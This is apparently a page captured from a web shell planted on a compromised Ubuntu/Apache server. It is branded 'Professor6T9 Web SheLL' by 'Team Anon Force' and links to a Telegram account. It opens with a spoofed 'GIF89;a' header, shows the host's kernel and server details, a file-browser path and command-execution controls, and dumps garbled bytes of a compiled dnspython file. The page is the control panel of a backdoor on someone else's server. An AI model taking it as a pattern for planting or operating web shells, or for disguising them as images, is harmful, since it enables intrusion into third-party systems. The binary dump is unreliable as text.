GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
File Name : exception.cpython-310.pyc
o x7�_� � @ sv d Z G dd� de�ZG dd� de�ZG dd� de�ZG dd� de�ZG d d � d e�ZG dd� de�ZG d d� d�ZdS )z�Common DNS Exceptions. Dnspython modules may also define their own exceptions, which will always be subclasses of ``DNSException``. c sR e Zd ZdZdZe� ZdZ� fdd�Zdd� Z dd� Z d d � Z� fdd�Z� Z S ) �DNSExceptiona� Abstract base class shared by all dnspython exceptions. It supports two basic modes of operation: a) Old/compatible mode is used if ``__init__`` was called with empty *kwargs*. In compatible mode all *args* are passed to the standard Python Exception class as before and all *args* are printed by the standard ``__str__`` implementation. Class variable ``msg`` (or doc string if ``msg`` is ``None``) is returned from ``str()`` if *args* is empty. b) New/parametrized mode is used if ``__init__`` was called with non-empty *kwargs*. In the new mode *args* must be empty and all kwargs must match those set in class variable ``supp_kwargs``. All kwargs are stored inside ``self.kwargs`` and used in a new ``__str__`` implementation to construct a formatted message based on the ``fmt`` class variable, a ``string``. In the simplest case it is enough to override the ``supp_kwargs`` and ``fmt`` class variables to get nice parametrized messages. Nc sr | j |i |�� |r| jdi |��| _t| �| _nt� | _| jd u r&| j| _|r0t� j|� d S t� �| j� d S �N� ) � _check_params� _check_kwargs�kwargs�str�msg�dict�__doc__�super�__init__��self�argsr �� __class__r �//usr/lib/python3/dist-packages/dns/exception.pyr 3 s zDNSException.__init__c O s( |s|rt |�t |�ksJ d��dS dS )zsOld exceptions supported only args and not kwargs. For sanity we do not allow to mix old and new behavior.z=keyword arguments are mutually exclusive with positional argsN)�boolr r r r r B s ��zDNSException._check_paramsc K s( |rt |�� �| jksJ d| j ��|S )Nz-following set of keyword args is required: %s)�set�keys�supp_kwargs)r r r r r r J s ��zDNSException._check_kwargsc K sd i }|� � D ])\}}t|ttf�r+ttt|��||<